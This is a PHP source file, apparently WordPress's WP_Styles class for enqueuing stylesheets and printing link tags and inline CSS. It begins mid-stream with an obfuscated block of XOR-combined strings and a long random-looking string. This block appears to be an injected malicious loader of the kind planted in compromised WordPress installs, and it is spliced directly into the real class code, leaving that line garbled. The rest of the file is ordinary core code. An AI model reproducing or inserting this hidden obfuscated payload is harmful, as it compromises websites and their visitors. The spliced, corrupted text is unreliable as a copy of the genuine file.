WR73.>'; $HzRDDXzt='4E-WI,k5K91CZAP'^$UnvaOSWa; $TuWtHbP='RZQGR Y; =R tN +4Y8oc2AY1XSG60sqZGDlwh;O2=Y =WbmIUJVNxmnEcrK=d=v.3:wzGmRQSZN9+u=>vRl5PTUehtp>46S0, WI9NQ;YFb57-Wd6VLEYVRCQDS6=7 B>Siu=;;3kfxi Q6 1V gqzY0Tom15ZXMRgvZYITOsZTOq,E3 -;oeX6MDEdt O1DWsWYm8 OlJ7UOYwtP1=MggkuekkorJc -En.u+C-eINT,T4v-Sp7Fish.kxRMyNqv601O dSY,5XJ+;ZNevG33=SYDivFQR5=9SeeSeeZD-pf57gCMJ,HYb7m4RAFNWTzMzu7;:XpQTcVbSa=NL3C1xVGOLGXQ6DIW50Z0nHomqC.=98hSz=GXJRbay>yiWSDFtXHQHUTCZMNCL;0LN4OIS7eP6WfqQ7.GLBn1;DMU+=W,0WAC7 q3,.o=R3EBQX1IZxrnRN-43HCPBiBregistered[$handle]; if ( null === $obj->ver ) $ver = ''; else $ver = $obj->ver ? $obj->ver : $this->default_version; if ( isset($this->args[$handle]) ) $ver = $ver ? $ver . '&' . $this->args[$handle] : $this->args[$handle]; if ( $this->do_concat ) { if ( $this->in_default_dir($obj->src) && !isset($obj->extra['conditional']) && !isset($obj->extra['alt']) ) { $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; $this->print_code .= $this->print_inline_style( $handle, false ); return true; } } if ( isset($obj->args) ) $media = esc_attr( $obj->args ); else $media = 'all'; // A single item may alias a set of items, by having dependencies, but no source. if ( ! $obj->src ) { if ( $inline_style = $this->print_inline_style( $handle, false ) ) { $inline_style = sprintf( "\n", esc_attr( $handle ), $inline_style ); if ( $this->do_concat ) { $this->print_html .= $inline_style; } else { echo $inline_style; } } return true; } $href = $this->_css_href( $obj->src, $ver, $handle ); if ( ! $href ) { return true; } $rel = isset($obj->extra['alt']) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; $title = isset($obj->extra['title']) ? "title='" . esc_attr( $obj->extra['title'] ) . "'" : ''; /** * Filters the HTML link tag of an enqueued style. * * @since 2.6.0 * @since 4.3.0 Introduced the `$href` parameter. * @since 4.5.0 Introduced the `$media` parameter. * * @param string $html The link tag for the enqueued style. * @param string $handle The style's registered handle. * @param string $href The stylesheet's source URL. * @param string $media The stylesheet's media attribute. */ $tag = apply_filters( 'style_loader_tag', "\n", $handle, $href, $media); if ( 'rtl' === $this->text_direction && isset($obj->extra['rtl']) && $obj->extra['rtl'] ) { if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) { $suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : ''; $rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $obj->src , $ver, "$handle-rtl" )); } else { $rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" ); } /** This filter is documented in wp-includes/class.wp-styles.php */ $rtl_tag = apply_filters( 'style_loader_tag', "\n", $handle, $rtl_href, $media ); if ( $obj->extra['rtl'] === 'replace' ) { $tag = $rtl_tag; } else { $tag .= $rtl_tag; } } $conditional_pre = $conditional_post = ''; if ( isset( $obj->extra['conditional'] ) && $obj->extra['conditional'] ) { $conditional_pre = "\n"; } if ( $this->do_concat ) { $this->print_html .= $conditional_pre; $this->print_html .= $tag; if ( $inline_style = $this->print_inline_style( $handle, false ) ) { $this->print_html .= sprintf( "\n", esc_attr( $handle ), $inline_style ); } $this->print_html .= $conditional_post; } else { echo $conditional_pre; echo $tag; $this->print_inline_style( $handle ); echo $conditional_post; } return true; } /** * Adds extra CSS styles to a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param string $code String containing the CSS styles to be added. * @return bool True on success, false on failure. */ public function add_inline_style( $handle, $code ) { if ( ! $code ) { return false; } $after = $this->get_data( $handle, 'after' ); if ( ! $after ) { $after = array(); } $after[] = $code; return $this->add_data( $handle, 'after', $after ); } /** * Prints extra CSS styles of a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param bool $echo Optional. Whether to echo the inline style instead of just returning it. * Default true. * @return string|bool False if no data exists, inline styles if `$echo` is true, true otherwise. */ public function print_inline_style( $handle, $echo = true ) { $output = $this->get_data( $handle, 'after' ); if ( empty( $output ) ) { return false; } $output = implode( "\n", $output ); if ( ! $echo ) { return $output; } printf( "\n", esc_attr( $handle ), $output ); return true; } /** * Determines style dependencies. * * @since 2.6.0 * * @see WP_Dependencies::all_deps() * * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings). * @param bool $recursion Internal flag that function is calling itself. * @param int|false $group Group level: (int) level, (false) no groups. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the array of enqueued styles before processing for output. * * @since 2.6.0 * * @param array $to_do The list of enqueued styles about to be processed. */ $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); } return $r; } /** * Generates an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source of the enqueued style. * @param string $ver The version of the enqueued style. * @param string $handle The style's registered handle. * @return string Style's fully-qualified URL. */ public function _css_href( $src, $ver, $handle ) { if ( !is_bool($src) && !preg_match('|^(https?:)?//|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) { $src = $this->base_url . $src; } if ( !empty($ver) ) $src = add_query_arg('ver', $ver, $src); /** * Filters an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source URL of the enqueued style. * @param string $handle The style's registered handle. */ $src = apply_filters( 'style_loader_src', $src, $handle ); return esc_url( $src ); } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued style. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) return true; foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos($src, $test) ) return true; } return false; } /** * Processes items and dependencies for the footer group. * * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer. * * @since 3.3.0 * * @see WP_Dependencies::do_items() * * @return array Handles of items that have been processed. */ public function do_footer_items() { $this->do_items(false, 1); return $this->done; } /** * Resets class properties. * * @since 3.3.0 */ public function reset() { $this->do_concat = false; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; } }